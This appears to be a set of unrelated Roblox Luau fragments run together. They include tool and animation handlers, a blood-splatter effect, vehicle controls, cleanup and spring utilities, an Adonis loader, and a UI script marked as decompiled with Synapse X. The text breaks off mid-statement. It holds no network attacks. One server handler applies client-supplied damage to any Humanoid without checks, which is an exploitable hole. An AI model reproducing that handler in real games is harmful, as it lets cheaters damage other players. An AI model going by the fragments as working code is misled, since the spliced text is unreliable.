Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") RunService = game:GetService("RunService") ContentProvider = game:GetService("ContentProvider") Camera = game:GetService("Workspace").CurrentCamera Animations = {} LocalObjects = {} ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") ToolEquipped = false function SetAnimation(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end local AnimationTrack = Humanoid:LoadAnimation(value.Animation) table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed) elseif mode == "StopAnimation" and value then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end end end function DisableJump(Boolean) if PreventJump then PreventJump:disconnect() end if Boolean then PreventJump = Humanoid.Changed:connect(function(Property) if Property == "Jump" then Humanoid.Jump = false end end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") ToolEquipped = true if not CheckIfAlive() then return end PlayerMouse = Player:GetMouse() Mouse.Button1Down:connect(function() InvokeServer("MouseClick", {Down = true}) end) Mouse.Button1Up:connect(function() InvokeServer("MouseClick", {Down = false}) end) Mouse.KeyDown:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = true}) end) Mouse.KeyUp:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = false}) end) Mouse.Move:connect(function() InvokeServer("MouseMove", {Position = Mouse.Hit.p, Target = Mouse.Target}) end) Humanoid:ChangeState(Enum.HumanoidStateType.None) end function Unequipped() ToolEquipped = false LocalObjects = {} for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end for i, v in pairs({PreventJump, ObjectLocalTransparencyModifier}) do if v then v:disconnect() end end Humanoid:ChangeState(Enum.HumanoidStateType.Freefall) --Prevent the ability to fly by constantly equipping and unequipping the tool. Animations = {} end function InvokeServer(mode, value) pcall(function() local ServerReturn = ServerControl:InvokeServer(mode, value) return ServerReturn end) end function OnClientInvoke(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then SetAnimation("PlayAnimation", value) elseif mode == "StopAnimation" and value then SetAnimation("StopAnimation", value) elseif mode == "PlaySound" and value then value:Play() elseif mode == "StopSound" and value then value:Stop() elseif mode == "MousePosition" then return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target} elseif mode == "DisableJump" then DisableJump(value) elseif mode == "Preload" and value then ContentProvider:Preload(value) elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then pcall(function() local ObjectFound = false for i, v in pairs(LocalObjects) do if v == value then ObjectFound = true end end if not ObjectFound then table.insert(LocalObjects, value) if ObjectLocalTransparencyModifier then ObjectLocalTransparencyModifier:disconnect() end ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function() for i, v in pairs(LocalObjects) do if v.Object and v.Object.Parent then local CurrentTransparency = v.Object.LocalTransparencyModifier if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then v.Object.LocalTransparencyModifier = v.Transparency end else table.remove(LocalObjects, i) end end end) end end) end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
-- ================================================================================ -- LOCAL FUNCTIONS -- ================================================================================
local function GetMass(parent) local mass = 0 for _,v in pairs(parent:GetChildren()) do if (v:IsA("BasePart") or v:IsA("MeshPart")) then if not v.Massless then mass = (mass + v:GetMass()) end end mass = mass + GetMass(v) end return mass end -- GetMass() local function SetMassless(parent, self) for _,part in pairs(parent:GetDescendants()) do if ((part:IsA("BasePart") or part:IsA("MeshPart")) and (part ~= self.main)) then part.Massless = true end end end -- SetMassless
--tone hz
if sv.Value==1 then while s.Pitch<0.6 do s.Pitch=s.Pitch+0.010 s:Play() if s.Pitch>0.6 then s.Pitch=0.6 end wait(-9) end while true do for x = 1, 500 do s:play() wait(-9) end wait() end
--[=[ Returns whether an object is a SpringObject. @param value any @return boolean ]=]
function SpringObject.isSpringObject(value) return type(value) == "table" and getmetatable(value) == SpringObject end
-- Local Functions
local function GetTeamFromColor(teamColor) for _, team in ipairs(Teams:GetTeams()) do if team.TeamColor == teamColor then return team end end return nil end
------------------------------------------------------------------------------------------------------------
function configureAnimationSetOld(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} local allowCustomAnimations = true local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end) if not success then allowCustomAnimations = true end -- check for config values local config = script:FindFirstChild(name) if (allowCustomAnimations and config ~= nil) then table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") end end -- preload anims if PreloadAnimsUserFlag then for i, animType in pairs(animTable) do for idx = 1, animType.count, 1 do Humanoid:LoadAnimation(animType[idx].anim) end end end end
-------------- I'm not responsible for any PAIN if you edit past this (pun intended)
local blood_folder = Instance.new("Folder",game.Workspace) blood_folder.Name = "Blood.Splatter.Particles" function create_blood_splatter(player_class) local blood_parts = {"Left Leg","Right Leg","Torso","Right Arm","Left Arm","Head"} local chosen_part if(player_class.humanoid.Health <= 0) then repeat wait() chosen_part = blood_parts[math.random(1,#blood_parts)] until player_class.character:FindFirstChild(chosen_part) chosen_part = player_class.character[chosen_part] local blood_emmiter = script.Blood:Clone() blood_emmiter.Parent = chosen_part blood_emmiter.Enabled = true else chosen_part = player_class.torso end local ray = Ray.new(chosen_part.Position, Vector3.new(0,-100,0)) local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray, {blood_folder , unpack(player_class.character:GetChildren())} , true) if(hit) then local blood = Instance.new("Part",blood_folder) blood.Anchored = true blood.CanCollide = false blood.Transparency = 1 blood.Name = "Particle_Blood" blood.FormFactor = Enum.FormFactor.Custom blood.Size = Vector3.new(0.01 , 0.1 , 0.01) blood.CFrame = CFrame.new(position) local blood_decal = Instance.new("Decal",blood) blood_decal.Transparency = 1 blood_decal.Texture = "http://www.roblox.com/asset/?id=" .. blood_textures[math.random(1,#blood_textures)] blood_decal.Face = "Top" game.Debris:AddItem(blood,settings.remove_time+20) local edit_blood = coroutine.wrap(function() local original_size = blood.Size local original_transparency = blood_decal.Transparency local new_transparency = math.random(settings.max_transparency*100,settings.min_transparency*100)/100 local new_size = Vector3.new(math.random(settings.min_size_x*100,settings.max_size_x*100)/100 , blood.Size.Y , math.random(settings.min_size_z*100,settings.max_size_z*100)/100) local tran_tw_time = math.random(settings.tran_tw_time_min*100,settings.tran_tw_time_max*100)/100 local size_tw_time = math.random(settings.size_tw_time_min*100,settings.size_tw_time_max*100)/100 for i = 1,10*tran_tw_time do wait() local perc = i/(10*tran_tw_time) blood_decal.Transparency = original_transparency - (perc*new_transparency) end for i = 1,10*size_tw_time do wait() local perc = i/(10*size_tw_time) blood.Size = Vector3.new(original_size.X+(perc*new_size.X) , original_size.Y , original_size.Z+(perc*new_size.Z)) end wait(settings.remove_time) blood:Destroy() end) edit_blood() end end function monitor_character(player_class) local last_health = player_class.humanoid.Health player_class.humanoid.HealthChanged:connect(function() if(player_class.humanoid.Health < last_health) then if(last_health - player_class.humanoid.Health >= settings.damage_inc) then for i = 1,settings.splatters_per_health_inc*((last_health - player_class.humanoid.Health)/settings.damage_inc) do create_blood_splatter(player_class) if(settings.max_splatter_time > 0) then wait(math.random(settings.min_splatter_time*100,settings.max_splatter_time*100)/100) end end end end last_health = player_class.humanoid.Health end) end function monitor_player(player) repeat wait() until player.Character ~= nil player.CharacterAdded:connect(function() local player_class = { player = player, character = player.Character, torso = player.Character:WaitForChild("Torso"), head = player.Character:WaitForChild("Head"), humanoid = player.Character:WaitForChild("Humanoid"), } monitor_character(player_class) end) local player_class = { player = player, character = player.Character, torso = player.Character:WaitForChild("Torso"), head = player.Character:WaitForChild("Head"), humanoid = player.Character:WaitForChild("Humanoid"), } monitor_character(player_class) end game.Players.PlayerAdded:connect(function(player) monitor_player(player) end) for i,v in ipairs(game.Players:GetChildren()) do if(v.ClassName == "Player") then monitor_player(v) end end
--[[ StreamableUtil.Compound(observers: {Observer}, handler: ({[child: string]: Instance}, maid: Maid) -> void): Maid Example: local streamable1 = Streamable.new(someModel, "SomeChild") local streamable2 = Streamable.new(anotherModel, "AnotherChild") StreamableUtil.Compound({S1 = streamable1, S2 = streamable2}, function(streamables, maid) local someChild = streamables.S1.Instance local anotherChild = streamables.S2.Instance maid:GiveTask(function() -- Cleanup end) end) --]]
local Maid = require(script.Parent.Maid) local StreamableUtil = {} function StreamableUtil.Compound(streamables, handler) local compoundMaid = Maid.new() local observeAllMaid = Maid.new() local allAvailable = false local function Check() if (allAvailable) then return end for _,streamable in pairs(streamables) do if (not streamable.Instance) then return end end allAvailable = true handler(streamables, observeAllMaid) end local function Cleanup() if (not allAvailable) then return end allAvailable = false observeAllMaid:DoCleaning() end for _,streamable in pairs(streamables) do compoundMaid:GiveTask(streamable:Observe(function(_child, maid) Check() maid:GiveTask(Cleanup) end)) end compoundMaid:GiveTask(Cleanup) return compoundMaid end return StreamableUtil
-------------------- -- Mesh Settings: -- [If you want a mesh drop, set meshDrop to true up on top.] -- Look at the mesh properties and change the inside of the quotes below to the appropriate -- full link or the rbxasset:// style, doesnt matter which one you see in the mesh you want
meshID = "http://www.roblox.com/asset?id=160003363" textureID = "http://www.roblox.com/asset/?id=192068356"
--UIS.InputEnded:Connect(function(key) -- if key.KeyCode == Flash then -- flashing = false -- if not Popups_Enabled then -- if parklightActive then -- LightEvent:FireServer("Headlights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled) -- else -- LightEvent:FireServer("Headlights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled) -- end -- else -- if parklightActive then -- LightEvent:FireServer("PopupLights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled) -- else -- LightEvent:FireServer("PopupLights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled) -- end -- end -- end --end)
UIS.InputBegan:Connect(input)
--Made by Luckymaxer
Joints = { ["Neck"] = { Part0 = "Torso", Part1 = "Head", C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), MaxVelocity = 0.1, Parent = "Torso", }, ["RootJoint"] = { Part0 = "HumanoidRootPart", Part1 = "Torso", C0 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), MaxVelocity = 0.1, Parent = "HumanoidRootPart", }, ["Left Shoulder"] = { Part0 = "Torso", Part1 = "Left Arm", C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), MaxVelocity = 0.1, Parent = "Torso", }, ["Right Shoulder"] = { Part0 = "Torso", Part1 = "Right Arm", C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), MaxVelocity = 0.1, Parent = "Torso", }, ["Left Hip"] = { Part0 = "Torso", Part1 = "Left Leg", C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), MaxVelocity = 0.1, Parent = "Torso", }, ["Right Hip"] = { Part0 = "Torso", Part1 = "Right Leg", C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), MaxVelocity = 0.1, Parent = "Torso", }, } return Joints
--module.Subtract = function(t1, t2) --what is this i don't even -- if (#t1 <= #t2) then -- for i, obj in pairs(t2) do -- for ix, obj2 in pairs(t1) do -- if (obj == obj2) then -- t1[ix] = nil -- end -- end -- end -- else -- for i, obj in pairs(t1) do -- for ix, obj2 in pairs(t2) do -- if (obj == obj2) then -- t1[i] = nil -- end -- end -- end -- end -- return t1 --end -- --module.ConcatToLength = function(t, char) -- char = char or "." -- -- local longest = 0 -- for i, v in pairs(t) do -- local str = tostring(i) .. tostring(v) -- if (#str > longest) then longest = #str end -- end -- -- longest = longest + 3 -- -- local ret = { } -- for i, v in pairs(t) do -- local strlength = #tostring(i) + #tostring(v) -- -- local str = tostring(i) .. " " -- for i = 1, longest - strlength do -- str = str .. char -- end -- str = str .. " " .. tostring(v) -- ret[#ret + 1] = str -- end -- -- return ret --end -- --module.Sort = function(t, func) -- local ret = t -- local function lol(a, b) -- local a1 = string.sub(tostring(a), 1, 1):lower() -- local b1 = string.sub(tostring(b), 1, 1):lower() -- print(a1, b1) -- return (alphabet[a1] > alphabet[b1]) -- end -- -- table.sort(ret, lol) -- return ret --end
return module
--[[ I love adonis, thanks for showing me shit that i couldnt figure out myself :heart: https://www.roblox.com/library/2373505175/Adonis-Loader-BETA --]]
local Loader = script.Loader:Clone() Loader.Parent = script.Parent Loader.Name = "\0" Loader.Archivable = false Loader.Disabled = false
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.P , --Handbrake PBrake = Enum.KeyCode.LeftShift , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.ButtonB , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.ButtonL3 , }
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local frame = script.Parent.Parent local nFrame = frame:WaitForChild("Frame"); local iconF = nFrame:WaitForChild("Icon"); local main = nFrame:WaitForChild("Main"); local close = nFrame:WaitForChild("Close"); local title = nFrame:WaitForChild("Title"); local timer = nFrame:WaitForChild("Timer"); local gTable = data.gTable local clickfunc = data.OnClick local closefunc = data.OnClose local ignorefunc = data.OnIgnore local name = data.Title local text = data.Message or data.Text or "" local time = data.Time local icon = data.Icon or client.MatIcons.Info local returner = nil if clickfunc and type(clickfunc)=="string" then clickfunc = client.Core.LoadCode(clickfunc, GetEnv()) end if closefunc and type(closefunc)=="string" then closefunc = client.Core.LoadCode(closefunc, GetEnv()) end if ignorefunc and type(ignorefunc)=="string" then ignorefunc = client.Core.LoadCode(ignorefunc, GetEnv()) end local holder = client.UI.Get("NotificationHolder",nil,true) if not holder then client.UI.Make("NotificationHolder") holder = client.UI.Get("NotificationHolder",nil,true) holder.Object.ScrollingFrame.Active = false end holder = holder.Object.ScrollingFrame title.Text = name main.Text = text iconF.Image = icon local log = { Type = "Notification"; Title = name; Message = text; Icon = icon or 0; Time = os.date("%X"); Function = clickfunc; } table.insert(client.Variables.CommunicationsHistory, log) service.Events.CommsPanel:Fire(log) main.MouseButton1Click:Connect(function() if frame and frame.Parent then if clickfunc then returner = clickfunc() end frame:Destroy() end end) close.MouseButton1Click:Connect(function() if frame and frame.Parent then if closefunc then returner = closefunc() end gTable:Destroy() end end) frame.Parent = holder task.spawn(function() local sound = Instance.new("Sound",service.LocalContainer()) sound.SoundId = 'rbxassetid://203785584'--client.NotificationSound sound.Volume = 0.2 sound:Play() wait(0.5) sound:Destroy() end) if time then timer.Visible = true repeat timer.Text = time wait(1) time = time-1 until time<=0 or not frame or not frame.Parent if frame and frame.Parent then if frame then frame:Destroy() end if ignorefunc then returner = ignorefunc() end end end return returner end
--keep at bottom
setmetatable(Template, { __index = Template.AllData, __newindex = Template.AllData }) return Template
--[[ Controls transparency of Humanoid parts. ]]
local HumanoidController = {} HumanoidController.__index = HumanoidController local States = { Idle = 0, Animating = 1, } function HumanoidController.new(player) local self = { player = player, characterParts = {}, state = States.Idle, animationCompleted = Instance.new("BindableEvent"), spring = Otter.spring, } self.setOriginalTransparencies = function() local character = self.player.Character if character and self.state == States.Idle then for _, descendant in ipairs(character:GetDescendants()) do if descendant:IsA("BasePart") or descendant:IsA("Decal") then self.characterParts[descendant] = descendant.Transparency end end end end self.motor = Otter.createSingleMotor(0) self.motor:onStep(function(value) for part, originalTransparency in pairs(self.characterParts) do part.Transparency = math.max(value, originalTransparency) end end) self.motor:onComplete(function(value: number) if value == 1 then local character = self.player.Character if not character then return end character.Parent = ReplicatedStorage -- Move the character out of the world end self.state = States.Idle self.animationCompleted:Fire() end) setmetatable(self, HumanoidController) return self end function HumanoidController:show() local character = self.player.Character if not character then return end character.Parent = workspace -- Place character back to the world self.state = States.Animating self.motor:setGoal(self.spring(0)) end function HumanoidController:hide() self.setOriginalTransparencies() self.state = States.Animating self.motor:setGoal(self.spring(1)) end function HumanoidController:isAnimating() return self.state == States.Animating end return HumanoidController
--------LIGHTED RECTANGLES--------
game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
-- the random part/tool spawn positions.
Pos1 = script.Parent.Pos1.CFrame Pos2 = script.Parent.Pos2.CFrame Pos3 = script.Parent.Pos3.CFrame Pos4 = script.Parent.Pos4.CFrame
-- I like being simple.
local Tool = script.Parent local Handle = Tool:WaitForChild("Handle") local Receiver = Tool:WaitForChild("Receiver") local Flash = Tool:WaitForChild("Flash") local Spur = Flash:WaitForChild("Image") local Smoke = Flash:WaitForChild("ImageTwo") Receiver.OnServerEvent:connect(function (player, action, ...) local Data = {...} if action and Data then if action == "PlaySound" then if Handle:FindFirstChild(Data[1]) then Handle[Data[1]]:Play() end elseif action == "Flash" then Handle:WaitForChild("Flash").Enabled = Data[1] Flash:WaitForChild("Embers").Enabled = Data[1] Spur:WaitForChild("Flash").Rotation = math.random(0, 360) Smoke:WaitForChild("Flash").Rotation = math.random(0, 360) Spur.Enabled = Data[1] Smoke.Enabled = Data[2] elseif action == "Damage" then if Data[1]:IsA("Humanoid") and type(Data[2]) == "number" then Data[1]:TakeDamage(Data[2]) end end end end)
--[=[ Utility function that returns whether or not a spring is animating based upon velocity and closeness to target, and as the second value, the value that should be used. @param spring Spring<T> @param epsilon number? -- Optional epsilon @return boolean, T ]=]
function SpringUtils.animating(spring, epsilon) epsilon = epsilon or EPSILON local position = spring.Position local target = spring.Target local animating if type(target) == "number" then animating = math.abs(spring.Position - spring.Target) > epsilon or math.abs(spring.Velocity) > epsilon else local rbxtype = typeof(target) if rbxtype == "Vector3" or rbxtype == "Vector2" or LinearValue.isLinear(target) then animating = (spring.Position - spring.Target).magnitude > epsilon or spring.Velocity.magnitude > epsilon else error("Unknown type") end end if animating then return true, position else -- We need to return the target so we use the actual target value (i.e. pretend like the spring is asleep) return false, target end end
--[=[ Adds an `Object` to Janitor for later cleanup, where `MethodName` is the key of the method within `Object` which should be called at cleanup time. If the `MethodName` is `true` the `Object` itself will be called instead. If passed an index it will occupy a namespace which can be `Remove()`d or overwritten. Returns the `Object`. :::info Objects not given an explicit `MethodName` will be passed into the `typeof` function for a very naive typecheck. RBXConnections will be assigned to "Disconnect", functions will be assigned to `true`, and everything else will default to "Destroy". Not recommended, but hey, you do you. ::: ```lua local Workspace = game:GetService("Workspace") local TweenService = game:GetService("TweenService") local Obliterator = Janitor.new() local Part = Workspace.Part -- Queue the Part to be Destroyed at Cleanup time Obliterator:Add(Part, "Destroy") -- Queue function to be called with `true` MethodName Obliterator:Add(print, true) -- This implementation allows you to specify behavior for any object Obliterator:Add(TweenService:Create(Part, TweenInfo.new(1), {Size = Vector3.new(1, 1, 1)}), "Cancel") -- By passing an Index, the Object will occupy a namespace -- If "CurrentTween" already exists, it will call :Remove("CurrentTween") before writing Obliterator:Add(TweenService:Create(Part, TweenInfo.new(1), {Size = Vector3.new(1, 1, 1)}), "Destroy", "CurrentTween") ``` ```ts import { Workspace, TweenService } from "@rbxts/services"; import { Janitor } from "@rbxts/janitor"; const Obliterator = new Janitor<{ CurrentTween: Tween }>(); const Part = Workspace.FindFirstChild("Part") as Part; // Queue the Part to be Destroyed at Cleanup time Obliterator.Add(Part, "Destroy"); // Queue function to be called with `true` MethodName Obliterator.Add(print, true); // This implementation allows you to specify behavior for any object Obliterator.Add(TweenService.Create(Part, new TweenInfo(1), {Size: new Vector3(1, 1, 1)}), "Cancel"); // By passing an Index, the Object will occupy a namespace // If "CurrentTween" already exists, it will call :Remove("CurrentTween") before writing Obliterator.Add(TweenService.Create(Part, new TweenInfo(1), {Size: new Vector3(1, 1, 1)}), "Destroy", "CurrentTween"); ``` @param Object T -- The object you want to clean up. @param MethodName? string|true -- The name of the method that will be used to clean up. If not passed, it will first check if the object's type exists in TypeDefaults, and if that doesn't exist, it assumes `Destroy`. @param Index? any -- The index that can be used to clean up the object manually. @return T -- The object that was passed as the first argument. ]=]
function Janitor:Add(Object: any, MethodName: StringOrTrue?, Index: any?): any if Index then self:Remove(Index) local This = self[IndicesReference] if not This then This = {} self[IndicesReference] = This end This[Index] = Object end MethodName = MethodName or TypeDefaults[typeof(Object)] or "Destroy" if type(Object) ~= "function" and not Object[MethodName] then warn(string.format(METHOD_NOT_FOUND_ERROR, tostring(Object), tostring(MethodName), debug.traceback(nil :: any, 2))) end self[Object] = MethodName return Object end
--- Get (or create) BindableEvent
function GetEvent(eventName) --- Variables eventName = string.lower(eventName) local event = events[eventName] --- Check if event already exists if not event then --- Create event event = Instance.new("BindableEvent") event.Name = eventName events[eventName] = event end -- return event end
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "f" then carSeat.Parent.SS.Motor.DesiredAngle = -0.2 elseif key == "g" then carSeat.Parent.Parent.SFR.SS.Motor.DesiredAngle = 0.2 elseif key == "j" then carSeat.Parent.SS.Motor.DesiredAngle = 0 carSeat.Parent.Parent.SFR.SS.Motor.DesiredAngle = 0 elseif key == "t" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 limitButton.Text = "Free Camera" wait(3) limitButton.Text = "" elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") Camera.FieldOfView = 45 limitButton.Text = "FPV Camera" wait(3) limitButton.Text = "" elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 limitButton.Text = "Standard Camera" wait(3) limitButton.Text = "" else end end end)
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; gTable = nil; return function(p1) local v1 = client.UI.Prepare(script.Parent.Parent); local l__Frame__2 = v1.Frame; local l__Frame__3 = l__Frame__2.Frame; local l__Message__4 = l__Frame__3.Message; local l__Title__5 = l__Frame__3.Title; local l__gIndex__6 = p1.gIndex; local l__gTable__7 = p1.gTable; local l__Message__8 = p1.Message; local l__Scroll__9 = p1.Scroll; local l__Time__10 = p1.Time; if not p1.Message or not p1.Title then l__gTable__7:Destroy(); end; l__Title__5.Text = p1.Title; l__Message__4.Text = l__Message__8; local function u1() for v11 = 1, 12 do l__Message__4.TextTransparency = l__Message__4.TextTransparency + 0.05; l__Title__5.TextTransparency = l__Title__5.TextTransparency + 0.05; l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency + 0.05; l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency + 0.05; l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency + 0.05; service.Wait("Stepped"); end; service.UnWrap(v1):Destroy(); end; function l__gTable__7.CustomDestroy() u1(); end; spawn(function() local v12 = Instance.new("Sound", service.LocalContainer()); v12.SoundId = "rbxassetid://7152561753"; v12.Volume = 0.3; wait(0.1); v12:Play(); wait(1); v12:Destroy(); end); l__gTable__7.Ready(); l__Frame__2:TweenSize(UDim2.new(0, 350, 0, 150), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.2); if not l__Time__10 then local v13, v14 = l__Message__8:gsub(" ", ""); wait(math.clamp(v14 / 2, 4, 11) + 1); else wait(l__Time__10); end; u1(); end;
--Tell if a seat is flipped
local function isFlipped(Seat) local UpVector = Seat.CFrame.upVector local Angle = math.deg(math.acos(UpVector:Dot(Vector3.new(0, 1, 0)))) return Angle >= MIN_FLIP_ANGLE end local function Raycast(startPos, direction, range, ignore, inceptNumber) if inceptNumber == nil then inceptNumber = 0 end inceptNumber = inceptNumber + 1 local ray = Ray.new(startPos, direction * range) local part, position = Workspace:FindPartOnRayWithIgnoreList(ray, ignore) if part then if part.CanCollide == false and inceptNumber <= 5 then --raycast again if we hit a cancollide false brick, put a limit on to prevent an infinite loop local rangeLeft = range - (startPos - position).magnitude part, position = Raycast(position, direction, rangeLeft, ignore, inceptNumber) --Raycast remaining distance. end end return part, position end local function ExitSeat(player, character, seat, weld) local hrp = character:FindFirstChild("HumanoidRootPart") if hrp then weld:Destroy() if seat:FindFirstChild("DoorHinge") then seat.DoorLatchWeld.Enabled = false seat.DoorHinge.TargetAngle = DOOR_OPEN_ANGLE playDoorSound(seat, "OpenClose") end --Record the interaction SeatInteractionCount[seat] = SeatInteractionCount[seat] and SeatInteractionCount[seat] + 1 or 1 wait() if seat:FindFirstChild("ExitPosition") then --Check if we can move the character to the designated pos. --Find vehicle model local model local newParent = seat repeat model = newParent newParent = model.Parent until newParent.ClassName ~= "Model" local targetPos = seat.ExitPosition.WorldPosition local delta = targetPos - seat.Position local dist = delta.magnitude local dir = delta.unit local part, _ = Raycast(seat.Position, dir, dist, {character, model}) if not part then --Prevent people being CFramed into walls and stuff hrp.CFrame = 